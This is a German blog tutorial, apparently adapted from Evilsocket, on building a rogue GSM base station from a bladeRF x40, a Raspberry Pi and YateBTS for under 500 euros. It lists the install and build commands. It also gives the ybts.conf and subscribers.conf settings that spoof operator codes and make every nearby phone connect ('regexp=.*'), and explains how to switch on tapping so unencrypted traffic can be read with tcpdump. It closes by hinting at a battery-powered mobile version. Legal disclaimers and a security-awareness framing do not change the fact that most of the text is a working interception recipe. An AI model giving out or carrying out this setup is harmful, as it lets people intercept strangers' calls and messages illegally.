Jedes Handys abhören mit eigener GSM-Station unter 500€

Originalartikel

Backup

<html> Letzen Monat haben wir auf einer Tour durch die Onlineshops eine ganz besondere Hardware gefunden, den BladeRFx40. Ein sehr günstiges USB 3.0 BTS “Base Transceiver Station” Modul das in Full-Duplex arbeitet, also gleichzeitig senden und empfangen kann. Disclaim: Wir schreiben diesen Beitrag nicht damit Script-Kiddies und selbsternannte “Experten” das Gesetz brechen können! Wir möchten lediglich die Angriffsfläche des GSM-Protokoll aufzeigen und zur Verbesserung der Sicherheit beitragen. Wer ein solches Setup im freien Raum betreibt macht sich strafbar nach “§202A StGB – Ausspähen von Daten“!

<h2>Benötigte Hardware</h2> Um eine funktionierende BTS zu erstellen brauchen wir folgende Hardware: Ein bladeRF x40 Zwei Quad-band Duck Antennen SMA Einen Raspberry Pi 3 (Model 2 war in den Tests zu langsam) Micro SD Karte für den Raspberry (min. 16GB) <h2/> <h2>Software</h2> Wir beginnen mit der Installation des neusten Raspbian auf die SD-Karte. Benutzt das “little” Image da wir keine grafische Oberfläche wollen/ brauchen. Danach booten wir den Raspberry und konfigurieren alles soweit bis wir per SSH auf den Raspberry zugreifen können. Als nächstes installieren wir die benötigten Pakete. <pre>sudo apt-get install git apache2 php5 bladerf libbladerf-dev libbladerf0 automake</pre> Das BladeRF wird einfach an einen der USB-Port des Raspberry gesteckt. Jetzt sollte das Blade ansprechbar sein. Der Befehl dmesg sollte eine ähnliche Ausgabe wie diese erzeugen: <pre>[2332.071675] usb 1-1.3: New USB device found, idVendor=1d50, idProduct=6066
 [2332.071694] usb 1-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3
 [2332.071707] usb 1-1.3: Product: bladeRF
 [2332.071720] usb 1-1.3: Manufacturer: Nuand
 [2332.071732] usb 1-1.3: SerialNumber: b4ef330e19b718f752759b4c14020742
 </pre> Nun können wir die BladeRF-CLI starten. <pre>pi@raspberrypi:~ $ sudo bladeRF-cli -i
 bladeRF> version


```
bladeRF-cli version:        0.11.1-git&#13;
libbladeRF version:         0.16.2-git&#13;
```



```
Firmware version:           1.6.1-git-053fb13-buildomatic&#13;
FPGA version:               0.1.2&#13;
```


 bladeRF>
 </pre> WICHTIG: Stellt sicher das ihr die richtige Firmware-Version des FPGA habt. Andere Versionen werden eventuell nicht funktionieren. Hier könnt ihr die richtige Version Herunterladen. Jetzt installieren wir Yate und YateBTS, zwei open source Software-Projekte die es uns ermöglichen einen BTS zu erstellen. Nun kann man lange

experimentieren welche Firmware-Version zu welcher Software-Version des BladeRF passt oder man läd sich einfach alles aus dem Evilsocket Github Repo: <pre>git clone https://github.com/evilsocket/evilbts.git
 cd evilbts</pre> Wir starten den Build beider Pakete mit: <pre>cd yate
 ./autogen.sh
 ./configure –prefix=/usr/local
 make -j4
 sudo make install
 sudo ldconfig
 cd ..

 cd yatebts
 ./autogen.sh
 ./configure –prefix=/usr/local
 make -j4
 sudo make install
 sudo ldconfig</pre> Das kann ein paar Minuten dauern. Danach ist alles nötige installiert. Als nächstes setzen wir einen Symlink für die NIB Web UI auf unser Apache “www” Verzeichnis. <pre>cd /var/www/html/
 sudo ln -s /usr/local/share/yate/nib_web nib</pre> Und geben Schreibrechte auf die Konfigurations-Dateien. <pre>sudo chmod -R a+w /usr/local/etc/yate</pre> Ab jetzt können wir unseren BTS über das Webinterface erreichen. <pre>http://ip-des-raspberry/nib
 </pre>

<h2>Konfiguration des BTS</h2> Öffne die Datei /usr/local/etc/yate/ybts.conf mit einem Editor wie “vim” oder “nano” und update die folgenden Werte: <pre>Radio.Band=900
 Radio.C0=1000
 Identity.MCC=YOUR_COUNTRY_MCC
 Identity.MNC=YOUR_OPERATOR_MNC
 Identity.ShortName=MyEvilBTS
 Radio.PowerManager.MaxAttenDB=35
 Radio.PowerManager.MinAttenDB=35</pre> Die genauen Frequenzbereiche sind z.B. HIER aber auch an vielen anderen Stellen im Internet zu finden. Jetzt editieren wir noch die Datei /usr/local/etc/yate/subscribers.conf <pre>country_code=YOUR_CONTRY_CODE
 regexp=.*</pre> ACHTUNG!!: Den Parameter “regexp” auf dem Wert .* zu belassen bedeutet ihr wollt das sich JEDES GSM-Telefon in der Nähe auf eure BTS verbindet! Natürlich ist dies nur in Testumgebungen wir unserer erlaubt!

In der NIB Web UI sollte es nun so ähnlich aussehen: <figure id=„attachment_1105“ class=„wp-caption alignnone“><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> <h2>Aktivieren des GSM-Tapping</h2> Im Pannel “Tapping” können wir beide Protokolle, GSM und GPRS, aktivieren. Im Grunde werden nun alle GSM-Pakete an des Loopback-Interface “gebounced”. Da wir noch keine Verschlüsselung konfiguriert haben können wir mit einem “tcpdump” auf dem Loopback Interface allen Verkehr Unverschlüsseltmitlesen. <figure id=„attachment_1106“ class=„wp-caption aligncenter“><figcaption class=„wp-caption-text“>Quelle:

Evilsocket</figcaption></figure> <h2>Start</h2> Endlich können wir unseren neuen BTS (mit dem BladeRF angesteckt) starten! <pre>sudo yate -s</pre> Wenn ihr alles richtig gemacht habt sollte eine ähnliche Ausgabe wie diese erscheinen. <pre>Starting MBTS...
 Yate engine is initialized and starting up on raspberrypi
 RTNETLINK answers: File exists
 MBTS ready</pre> Die LED an der Front des BladeRF sollte blinken. <h2/> <h2>Testen</h2> <figure id=„attachment_1107“ class=„wp-caption alignleft“><figcaption class=„wp-caption-text“>Quelle: Evilsocket</figcaption></figure> Jetzt werden GSM-Geräte in der Nähe versuchen sich zu unserem BTS zu verbinden. Das liegt an einer Design-Schwäche im GSM-Protokoll. Wir können MCC, MNC und LAC setzen wie wir möchten und so legitime GSM-BTS in der Nähe spoofen. Jedes Gerät sucht nach einem Signal seines Betreibers und wird sich mit dem stärksten verbinden – Ratet welches Signal das stärkste ist? Richtig, unseres! 🙂 Dieses Bild wurde auf einem Samsung Galaxy S6 (Network Cell Info Lite App) aufgenommen welches sich automatisch nach 3 Minuten zu unserem BTS verbunden hat. Ab jetzt steht es uns frei zu tun was wir wollen. Wir können als “Proxy” für einen legitiemen SMC im Netzwerk agieren (mit einem GSM/4G Dongle). Wir könnten allen nicht verschlüsselten GSM-Traffic jedes einzelnen Telefons aufzeichnen, auswerten und speichern. Oder wir könnten eine private GSM Station erstellen die von ihren Usern Kostenlos via SIP genutzt werden kann. Die Möglichkeiten sind vielfältig. Für weitere Konfiguration empfehlen wir das YateWiki. Nicht zu vergessen was möglich wäre wenn man den Raspberry und das Board mit einem Battery-Pack ausstattet und das ganze Setup mobil macht. 😉 <h2>Fazit</h2> Wie wir zeigen wollen sind die Möglichkeiten der Manipulation und des Missbrauchs mit derart schlecht abgesicherten Protokollen sehr vielfältig. Warum der GSM-Standard bis heute nicht besser gesichert ist oder gar abgeschafft wurde kann nicht genau erklärt werden. Im gesamten GSM-Raum gibt es flächendeckend 3G/4G was ein Telefonieren über das Internet möglich macht. Wir weisen nochmals auf die rechtliche Lage hin: Wer dieses Setup im freien Raum betreibt oder plant zu betreiben, macht sich strafbar nach “§202a StGB Ausspähen von Daten”. </html>